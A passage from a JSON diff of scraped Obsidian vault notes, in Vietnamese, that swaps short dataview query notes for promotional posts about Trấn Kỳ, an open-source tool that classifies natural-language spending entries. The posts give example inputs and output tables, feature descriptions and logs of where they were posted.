Kendy\r\n# Các công việc thường làm\r\n\r\n- [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Chiến lược/Kế hoạch phát triển Trấn Kỳ|Lên kế hoạch phát triển Trấn Kỳ]]\r\n- [[Truyền thông|Đăng bài truyền thông]]\r\n- [[Tổ chức nhỏ hoặc người cần kỷ luật tài chính|Phỏng vấn người dùng Trấn Kỳ]]\r\n- [[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ|Xây dựng cộng đồng phát triển Trấn Kỳ]]\r\n- [[Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ|Tổ chức các buổi hướng dẫn người dùng sử dụng Trấn Kỳ]]\r\n# Cách thức tham gia\r\nBạn có thể bắt đầu bằng việc điền [khảo sát nhu cầu phân loại tự động và lập trình](https://quảcầu.cc/khao-sat-nhu-cau-phan-loai-tu-dong-va-lap-trinh/?utm_source=CW+%C2%BB+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+x%C3%A2y+d%E1%BB%B1ng+m%E1%BB%99t+startup+%C4%91%E1%BB%83+l%C3%A0m+nh%E1%BB%AFng+vi%E1%BB%87c+m%E1%BB%99t+ng%C6%B0%E1%BB%9Di+b%E1%BA%A1n+s%E1%BA%BD+l%C3%A0m&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3) này để bọn mình hiểu hơn về bạn.\r\n\r\nMời bạn vào Discord của Quả Cầu để thảo luận với mọi người\r\n[Tham gia](https://discord.com/channels/898550123007709204/1163106307495170108/1171076032342806548){ .md-button .md-button--primary }\r\n\r\n\r\n[[06-11]] đăng ở [[Discord QC]] và [[AGB Saigon Plus]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5G" }, { - "Tiêu đề": "Không cần dữ liệu huấn luyện", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Không cần dữ liệu huấn luyện", + "Tiêu đề": "Phân loại chi tiêu (ngắn)", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Phân loại chi tiêu (ngắn)", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phù hợp cho nhu cầu:: \r\nYêu cầu đầu vào:: [[Phải thiết lập cấu hình]]\r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist without id file.link + \" (\" + substring(split(file.folder, \"/\" )[3], 2) + \")\" \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Bạn có cảm thấy chán nản, mất năng lượng vì phải tốn quá nhiều thời gian để phân loại chi tiêu cũng như các loại dữ liệu khác không? Nếu bạn là người cần phân loại tất cả các chi tiêu của mình một cách rõ ràng (việc nhắm hờ mỗi tháng chi chừng bao nhiêu tiền là không đủ với bạn), và bạn cần một chương trình:\r\n\r\n- Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v. \r\n- Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n- Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n- Không giam dữ liệu của bạn tại chương trình \r\n- Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n- Dùng được trên điện thoại khi không có mạng\r\n\r\nThì chương trình này dành cho bạn.\r\n\r\n👉 Tìm hiểu thêm: [https://quacau.space/fn1a](https://quacau.space/fn1a)\r\n\r\n---\r\nF+G+%C2%BB+Project+Community\r\n\r\n(Đây là một sản phẩm em làm để giúp đỡ một người bạn. Nay nó đã làm xong và em nghĩ nó sẽ giúp ích thêm cho mọi người. Chi tiết xem thêm ở bài: [Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm](https://obsidian.quảcầu.cc/%F0%9F%93%90%20d%E1%BB%B1%20%C3%A1n/tr%E1%BA%A5n%20k%E1%BB%B3/9%20blog/l%E1%BB%9Di%20m%E1%BB%9Di%20x%C3%A2y%20d%E1%BB%B1ng%20m%E1%BB%99t%20startup%20%C4%91%E1%BB%83%20l%C3%A0m%20nh%E1%BB%AFng%20vi%E1%BB%87c%20m%E1%BB%99t%20ng%C6%B0%E1%BB%9Di%20b%E1%BA%A1n%20s%E1%BA%BD%20l%C3%A0m/?utm_source=F+G+%C2%BB+Project+Community+%C2%BB+Gi%E1%BB%9Bi+thi%E1%BB%87u+Tr%E1%BA%A5n+K%E1%BB%B3&utm_medium=social&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3))\r\n\r\n(Cái này thì chỉ là giới thiệu sản phẩm bình thường thôi, nhưng cái mô hình hoạt động đằng sau của nó dựa trên ý tưởng về khối dữ liệu (datacube), chiều và tensor. Thường mọi người chỉ nghe đến những khái niệm này khi làm máy học, nhưng mình nghĩ đỉnh cao nhất của nó là phải xét đến hình học xạ ảnh. Lý thuyết trường hấp dẫn (tên chính thức của thuyết tương đối) cũng dựa trên cái này. Khi nào rảnh mình sẽ viết bài về nó. Ai hứng thú thì có thể đọc trước về [Geometric Deep Learning](https://thegradient.pub/towards-geometric-deep-learning/ \"Towards Geometric Deep Learning\")) \r\n# [Phân loại thu chi bằng tiếng Việt tự nhiên](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=F+G+%C2%BB+Project+Community&utm_medium=social&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=%C4%91%C4%83ng+l%E1%BA%A7n+1%2C+v%E1%BB%8B+tr%C3%AD+ti%C3%AAu+%C4%91%E1%BB%81%2C+%E1%BA%A3nh+keep2fibery) \r\nThu chi chồng chất nhưng tốn quá nhiều thời gian để phân loại để có được một báo cáo đáng tin? Nay đã có Trấn Kỳ. Nếu bạn là người cần phân loại tất cả các chi tiêu của mình một cách rõ ràng (việc nhắm hờ mỗi tháng chi chừng bao nhiêu tiền là không đủ với bạn), và bạn cần một chương trình:\r\n\r\n- Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v. \r\n- Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n- Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n- Không giam dữ liệu của bạn tại chương trình \r\n- Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n- Dùng được trên điện thoại khi không có mạng\r\n\r\nVí dụ, với câu nhập đầu vào là:\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nChương trình sẽ tự động phân loại kết quả đầu ra cho bạn:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\n👉 Đọc thêm giới thiệu và hướng dẫn sử dụng tại [Trấn Kỳ — Phân loại thu chi bằng tiếng Việt tự nhiên](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=F+G+%C2%BB+Project+Community&utm_medium=social&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=%C4%91%C4%83ng+l%E1%BA%A7n+1%2C+v%E1%BB%8B+tr%C3%AD+cu%E1%BB%91i+b%C3%A0i%2C+%E1%BA%A3nh+keep2fibery) \r\n\r\nhttps://www.facebook.com/quacau.sphere/posts/pfbid072iAT8Y3zdAP5L7VGiHkmxjxQfPapaozK8fpr64nQ4uVyaKerhv2j4uqd8KMWipvl\r\n\r\n![[Ξ Thiết lập/Ảnh/Trấn Kỳ/Keep to Fibery.png]]\r\n[[29-10]] [[Launch]]\r\n[[07-11]] [[Dự án xã hội, NPO, nghiên cứu khoa học, nghệ thuật, hội hoạ]] [Page not found | Facebook](https://www.facebook.com/groups/562933844569060/pending_posts/?search=&has_selection=false&is_notif_background=false&post_id=1388363565359413)\r\n[[09-11]] [[Kingdom of Cubes]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5H" }, { - "Tiêu đề": "Không cần thiết lập cấu hình", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Không cần thiết lập cấu hình", + "Tiêu đề": "Phân loại chi tiêu", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Phân loại chi tiêu", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Phù hợp cho nhu cầu:: \r\nĐáp ứng yêu cầu:: \r\n\r\nĐáp ứng cho việc:\r\n```dataview\r\nlist without id file.link + \" (\" + substring(split(file.folder, \"/\" )[3], 2) + \")\" \r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "# Phân loại chi tiêu bằng tiếng Việt tự nhiên\r\nBạn có cảm thấy chán nản, mất năng lượng vì phải tốn quá nhiều thời gian để phân loại chi tiêu cũng như các loại dữ liệu khác không? Nếu bạn là người cần phân loại tất cả các chi tiêu của mình một cách rõ ràng (việc nhắm hờ mỗi tháng chi chừng bao nhiêu tiền là không đủ với bạn), và bạn cần một chương trình:\r\n\r\n* Là phần mềm tự do và mã nguồn mở\r\n* Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v.\r\n* Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n* Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n* Không giam dữ liệu của bạn tại chương trình\r\n* Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n* Dùng được trên điện thoại khi không có mạng\r\n\r\nThì Trấn Kỳ là dành cho bạn.\r\n# Tính năng\r\n## Phân loại thông tin\r\n\r\nVí dụ, với câu nhập đầu vào là:\r\n\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nKết quả đầu ra sẽ là:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\nChương trình có thể tự động bắt được các giá trị trên nhờ vào cấu hình bạn đã thiết lập từ trước. Ở ví dụ này, bạn đã thiết lập như sau:\r\n```\r\n|Từ khoá từ câu nhập...|...thuộc nhãn phân loại...|...thuộc chiều dữ liệu|\r\n| --- | --- | --- |\r\n|thăn bò, lườn gà|Lương thực|Món đồ|\r\n|vợ trả|Tiền mặt|Phương thức thanh toán|\r\n|coopmart|Siêu thị|Nơi mua|\r\n|Parid|Gia đình|Người thụ hưởng|\r\n|20k, 30k|Không thiết lập|Số tiền|\r\n|giảm giá|Không thiết lập|Ghi chú|\r\n```\r\n## Giá trị mặc định\r\n\r\nVí dụ, bạn có thể thiết lập để chương trình tự hiểu là nếu bạn không điền từ khoá gì trong chiều `Phương thức thanh toán` thì mặc định đó là `tiền mặt`.\r\n\r\n## Tiếp nhận từ khoá chưa được khai báo một cách trực tiếp\r\n\r\nSẽ có những lúc bạn muốn một từ khoá nào đó chưa kịp khai báo trong cấu hình xuất ra ở kết quả. Bạn có thể thiết lập các ký tự để chương trình hiểu là dữ liệu đó nên được cho vào mục nào.\r\n\r\nVí dụ, bạn mới gặp `Iris` và muốn tặng `dưa hấu` cho bạn ấy. Bạn chưa kịp khai báo tên của `Iris` vào cấu hình. Bạn có thể thiết lập ký tự `@` dành cho chiều `Người thụ hưởng`. Khi đó, bạn có thể dùng câu nhập:\r\n\r\n```\r\ntặng dưa hấu cho @Iris 50k\r\n```\r\n\r\nLúc này chương trình sẽ tự hiểu `Iris` là `Người thụ hưởng`.\r\n\r\nNếu sau đó không xuất hiện dấu `@` lần nữa thì từ khoá sẽ dừng khi gặp dấu cách đầu tiên. Nếu từ khoá chứa nhiều dấu cách thì bạn thêm một dấu `@` nữa ở ngay cuối. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k\r\n```\r\n\r\nBạn có thể khai báo ký tự đứng trước khác với ký tự đứng sau. Thường gặp nhất là khi bạn cần có một ghi chú nào đó. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k (sau đó mới biết chị Iris dị ứng dưa hấu)\r\n```\r\n\r\n## Viết tắt\r\n\r\nVí dụ, bạn muốn viết tắt `as`, `st` cho nhanh, nhưng vẫn muốn kết quả hiện ra đầy đủ là `ăn sáng`, `siêu thị`. Bạn còn có thể dùng viết tắt cho những câu nhập phức tạp.\r\n\r\nVí dụ:\r\n\r\n* `as` → `ăn sáng`\r\n* `st` → `siêu thị`\r\n* `xăng` → `xăng 50k`\r\n* `trọ` → `tiền trọ 3tr chuyển khoản (vay qua nhóm Tình Thân)`\r\n\r\n## Hiểu từ ghép\r\n\r\nVí dụ, nếu lúc thiết lập cấu hình bạn có khai báo ba từ khoá `bún`, `bò`, và `bún bò`, và trong câu nhập có chữ `bún bò` thì chương trình sẽ hiểu đây là một từ chứ không nhận diện nhầm là có hai từ `bún` và `bò`.\r\n\r\n## Một từ khoá có thể thuộc về nhiều nhãn phân loại\r\n\r\nVí dụ, từ khoá `ăn trưa với` vừa có thể thuộc nhãn `Mối quan hệ`, vừa có thể thuộc nhãn `Thực phẩm`\r\n\r\n## Một số ví dụ về việc tích hợp Trấn Kỳ vào hệ thống\r\n### Nhập liệu từ Google Keep\r\nGoogle Keep là một phần mềm ghi chú rất phổ biến với mọi người. Nó:\r\n- Có trên iOS, Android và web\r\n- Mở rất nhanh và có thể mở trong tình trạng không có mạng\r\n- Đồng bộ nhanh chóng trên tất cả các thiết bị\r\n- Hoàn toàn miễn phí\r\n- Cho phép nhiều người cùng chỉnh sửa một ghi chú\r\n- Sử dụng giọng nói\r\n- Nhập số lượng lớn\r\n\r\nViệc có thể nhập liệu từ Google Keep sẽ giúp cho bạn có thể nhập nhanh những khoảng chi tiêu chung với khối lượng lớn vào lúc bạn không có đầu óc để phân loại, phù hợp cho gia đình, nhóm bạn, công ty những lúc chợ búa, du lịch, tổ chức sự kiện, v.v.\r\n\r\nHiện tại đã có sẵn plugin nhập dữ liệu từ Google Keep và tạo bảng phân loại trên Fibery. \r\n\r\n### Nhập liệu từ Discord, Slack\r\nDiscord và Slack là những phần mềm nhắn tin phổ biến cho cộng đồng hoặc tổ chức. Một server sẽ có nhiều kênh (channel) để việc thảo luận được tập trung, không bị lạc chủ đề quá nhiều. Thông thường, các bộ phận trong tổ chức sẽ có một kênh riêng.\r\n\r\nTrong quá trình thảo luận, thỉnh thoảng sẽ có những thông tin cần được phân loại và lưu vào hệ thống quản lý riêng, như quỹ hoặc công việc. Bạn có thể tạo bot để tự động gom các thông tin này ngay tại nơi thảo luận. Ví dụ:\r\n- `$ họp 70k` → Ghi vào trong sổ quỹ rằng 70000 VND đã được chi cho việc họp\r\n- `! sửa bug` → Ghi vào trong bảng tổng hợp công việc rằng cần sửa bug\r\n\r\nNhững thông tin như người nhập, kênh nhập cũng sẽ được ghi lại. Ví dụ, ghi `$ họp 70k` trong kênh Trấn Kỳ thì sẽ hiểu là lý do chi là để họp về Trấn Kỳ. Nhưng cũng với câu nhập đó trong kênh Cảo Thần thì sẽ hiểu là lý do chi là để họp về Cảo Thần.\r\n\r\n# Không chỉ mỗi phân loại thu chi\r\n\r\nThật ra, chương trình này không hẳn nên được đặt tên là \"Phân loại thu chi\", vì bạn còn có thể dùng nó để phân loại nhiều thứ khác. Ví dụ:\r\n\r\n* **Ý tưởng** : `Kĩ thuật viết văn %topic_Writing @tác_giả_a`\r\n* **Mối quan hệ** : `Gặp @ông_A bàn về việc X, có đi ăn ở !nhà_hàng_Y 200k ck vcb`\r\n* **Công việc** : `Công việc A cần giao cho @bạn_B liên hệ với @@đối_tác_C tại !quán_D với chi phí dự kiến 300k ck vcb và nhận output &&item_X`\r\n* **Cảm xúc** : `xem phim:Inception thấy chấn động`\r\n* **Sức khoẻ:** `chạy bộ 100m, hít đất 30 cái`\r\n\r\n# 👉 Link: tranky.deno.dev/cditbavn\r\n\r\nhttps://www.facebook.com/quacau.sphere/posts/pfbid072iAT8Y3zdAP5L7VGiHkmxjxQfPapaozK8fpr64nQ4uVyaKerhv2j4uqd8KMWipvl\r\n\r\n![image|690x460, 100%](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/3/0/3051a1b98cab382e9bcd3e5bccf81d2e973f3f17_2_1035x690.jpeg) \r\n![image|690x343](https://daynhauhoc.s3.dualstack.ap-southeast-1.amazonaws.com/optimized/3X/9/9/99e14fce9d0bcda573db5aae334ad4e71bd2035f_2_1035x514.jpeg) \r\n![Giao diện khởi động](https://i.imgur.com/rBe2iQ9.png)\r\n\r\n---\r\n[[10-11]] Đăng trên [[Dạy Nhau Học]] \r\n[[10-11]] Đăng trên [[Tự học Data]] \r\n[[29-11]] Đăng trên [[Fintech, tài chính cá nhân]] \r\n[[06-02]] [[SME, startup, khởi nghiệp]] smebf\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày tạo": "2023-11-12T05:54:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5I" }, { - "Tiêu đề": "Phải thiết lập cấu hình", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/2 Yêu cầu đầu vào/Phải thiết lập cấu hình", + "Tiêu đề": "Phân loại câu nhập (ngắn)", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Phân loại câu nhập (ngắn)", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: [[Có thể dành thời gian nghiên cứu]]\r\n```dataview\r\nlist without id split(file.folder, \"/\" )[3] + \": \" + file.link\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "F%20G%20%C2%BB%20J2TEAM%20Community%20%C2%BB%20ph%E1%BA%A7n%20m%E1%BB%81m%20qu%E1%BA%A3n%20l%C3%BD%20%C4%91%C6%A1n%20h%C3%A0ng\r\n# [Phân loại câu nhập bằng tiếng Việt tự nhiên](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=F%20G%20%C2%BB%20J2TEAM%20Community%20%C2%BB%20ph%E1%BA%A7n%20m%E1%BB%81m%20qu%E1%BA%A3n%20l%C3%BD%20%C4%91%C6%A1n%20h%C3%A0ng&utm_medium=chat&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=%C4%91%C4%83ng+l%E1%BA%A7n+1%2C+v%E1%BB%8B+tr%C3%AD+ti%C3%AAu+%C4%91%E1%BB%81%2C+%E1%BA%A3nh+m%C3%A1y+ph%C3%A2n+lo%E1%BA%A1i+ti%E1%BB%81n) \r\nChia sẻ với mọi người một chương trình phân loại câu nhập mình mới viết. Tính năng:\r\n\r\n- Là phần mềm tự do và mã nguồn mở\r\n- Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v. \r\n- Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n- Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n- Không giam dữ liệu của bạn tại chương trình \r\n- Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n- Dùng được trên điện thoại khi không có mạng\r\n\r\nVí dụ, với câu nhập đầu vào là:\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nChương trình sẽ tự động phân loại kết quả đầu ra cho bạn:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\nĐọc thêm giới thiệu và hướng dẫn sử dụng tại [Trấn Kỳ — Phân loại câu nhập bằng tiếng Việt tự nhiên](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=F%20G%20%C2%BB%20J2TEAM%20Community%20%C2%BB%20ph%E1%BA%A7n%20m%E1%BB%81m%20qu%E1%BA%A3n%20l%C3%BD%20%C4%91%C6%A1n%20h%C3%A0ng&utm_medium=chat&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=%C4%91%C4%83ng+l%E1%BA%A7n+1%2C+v%E1%BB%8B+tr%C3%AD+cu%E1%BB%91i+b%C3%A0i%2C+%E1%BA%A3nh+m%C3%A1y+ph%C3%A2n+lo%E1%BA%A1i+ti%E1%BB%81n).\r\n\r\nhttps://www.facebook.com/quacau.sphere/posts/pfbid072iAT8Y3zdAP5L7VGiHkmxjxQfPapaozK8fpr64nQ4uVyaKerhv2j4uqd8KMWipvl\r\n\r\n![[Hemi Head_med.png]]\r\n\r\n\r\n---\r\n[[28-10]] Bị từ chối đăng trên [[Sản phẩm, phân tích kinh doanh]]. Lý do: Bài viết không liên quan đến PO, spam, hoặc seeding\r\n[[31-10]] Đăng trên [[📐 Dự án/Ξ Kết quả truyền thông/Nơi đăng/Nhóm Facebook/Dữ liệu/Khoa học dữ liệu]]\r\n[[10-11]] đăng trên [[Symato]] \r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5J" }, { - "Tiêu đề": "100k/tháng", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Chính sách giá/100k mỗi tháng", + "Tiêu đề": "Phân loại câu nhập", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/4 Thành phẩm/Truyền thông/Phân loại câu nhập", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng::\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "# Phân loại câu nhập bằng tiếng Việt tự nhiên\r\nBạn có cảm thấy chán nản, mất năng lượng vì phải tốn quá nhiều thời gian để phân loại chi tiêu cũng như các loại dữ liệu khác không? Nếu bạn là người cần phân loại tất cả các chi tiêu của mình một cách rõ ràng (việc nhắm hờ mỗi tháng chi chừng bao nhiêu tiền là không đủ với bạn), và bạn cần một chương trình:\r\n\r\n* Là phần mềm tự do và mã nguồn mở\r\n* Tích hợp được vào hệ thống vận hành hiện tại của bạn: báo cáo ngân hàng, Google Keep, Google Sheet, Notion, Obsidian, Fibery, Odoo, v.v.\r\n* Cho phép bạn khai báo dữ liệu theo thói quen và cách phân loại của chính mình\r\n* Tự động phân loại, gắn nhãn thông tin chứ không bắt bạn phải tự xử lý\r\n* Không giam dữ liệu của bạn tại chương trình\r\n* Không có bất cứ quảng cáo mời mọc hoặc theo dõi dữ liệu nào\r\n* Dùng được trên điện thoại khi không có mạng\r\n\r\nThì Trấn Kỳ là chương trình dành cho bạn.\r\n\r\n# Tính năng\r\n## Phân loại thông tin\r\nVí dụ, với câu nhập đầu vào là:\r\n\r\n```\r\nthăn bò 30k lườn gà 20k (giảm giá) cho Parid ở coopmart vợ trả \r\n```\r\n\r\nKết quả đầu ra sẽ là:\r\n```\r\n| Tên | Giá trị |\r\n| --------------------------- | ---------------- |\r\n| Món đồ | thăn bò, lườn gà |\r\n| Loại món đồ | Lương thực |\r\n| Phương thức thanh toán | vợ trả |\r\n| Loại phương thức thanh toán | Tiền mặt |\r\n| Nơi mua | CoopMart |\r\n| Loại nơi mua | Siêu thị |\r\n| Người thụ hưởng | Parid |\r\n| Loại người thụ hưởng | Gia đình |\r\n| Số tiền | 50000 |\r\n| Ghi chú | giảm giá |\r\n```\r\nChương trình có thể tự động bắt được các giá trị trên nhờ vào cấu hình bạn đã thiết lập từ trước. Ở ví dụ này, bạn đã thiết lập như sau:\r\n```\r\n|Từ khoá từ câu nhập...|...thuộc nhãn phân loại...|...thuộc chiều dữ liệu|\r\n| --- | --- | --- |\r\n|thăn bò, lườn gà|Lương thực|Món đồ|\r\n|vợ trả|Tiền mặt|Phương thức thanh toán|\r\n|coopmart|Siêu thị|Nơi mua|\r\n|Parid|Gia đình|Người thụ hưởng|\r\n|20k, 30k|Không thiết lập|Số tiền|\r\n|giảm giá|Không thiết lập|Ghi chú|\r\n```\r\n## Giá trị mặc định\r\nVí dụ, bạn có thể thiết lập để chương trình tự hiểu là nếu bạn không điền từ khoá gì trong chiều `Phương thức thanh toán` thì mặc định đó là `tiền mặt`.\r\n\r\n## Tiếp nhận từ khoá chưa được khai báo một cách trực tiếp\r\nSẽ có những lúc bạn muốn một từ khoá nào đó chưa kịp khai báo trong cấu hình xuất ra ở kết quả. Bạn có thể thiết lập các ký tự để chương trình hiểu là dữ liệu đó nên được cho vào mục nào.\r\n\r\nVí dụ, bạn mới gặp `Iris` và muốn tặng `dưa hấu` cho bạn ấy. Bạn chưa kịp khai báo tên của `Iris` vào cấu hình. Bạn có thể thiết lập ký tự `@` dành cho chiều `Người thụ hưởng`. Khi đó, bạn có thể dùng câu nhập:\r\n\r\n```\r\ntặng dưa hấu cho @Iris 50k\r\n```\r\n\r\nLúc này chương trình sẽ tự hiểu `Iris` là `Người thụ hưởng`.\r\n\r\nNếu sau đó không xuất hiện dấu `@` lần nữa thì từ khoá sẽ dừng khi gặp dấu cách đầu tiên. Nếu từ khoá chứa nhiều dấu cách thì bạn thêm một dấu `@` nữa ở ngay cuối. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k\r\n```\r\n\r\nBạn có thể khai báo ký tự đứng trước khác với ký tự đứng sau. Thường gặp nhất là khi bạn cần có một ghi chú nào đó. Ví dụ:\r\n\r\n```\r\ntặng dưa hấu cho @chị Iris@ 50k (sau đó mới biết chị Iris dị ứng dưa hấu)\r\n```\r\n\r\n## Viết tắt\r\nVí dụ, bạn muốn viết tắt `as`, `st` cho nhanh, nhưng vẫn muốn kết quả hiện ra đầy đủ là `ăn sáng`, `siêu thị`. Bạn còn có thể dùng viết tắt cho những câu nhập phức tạp.\r\n\r\nVí dụ:\r\n\r\n* `as` → `ăn sáng`\r\n* `st` → `siêu thị`\r\n* `xăng` → `xăng 50k`\r\n* `trọ` → `tiền trọ 3tr chuyển khoản (vay qua nhóm Tình Thân)`\r\n\r\n## Hiểu từ ghép\r\nVí dụ, nếu lúc thiết lập cấu hình bạn có khai báo ba 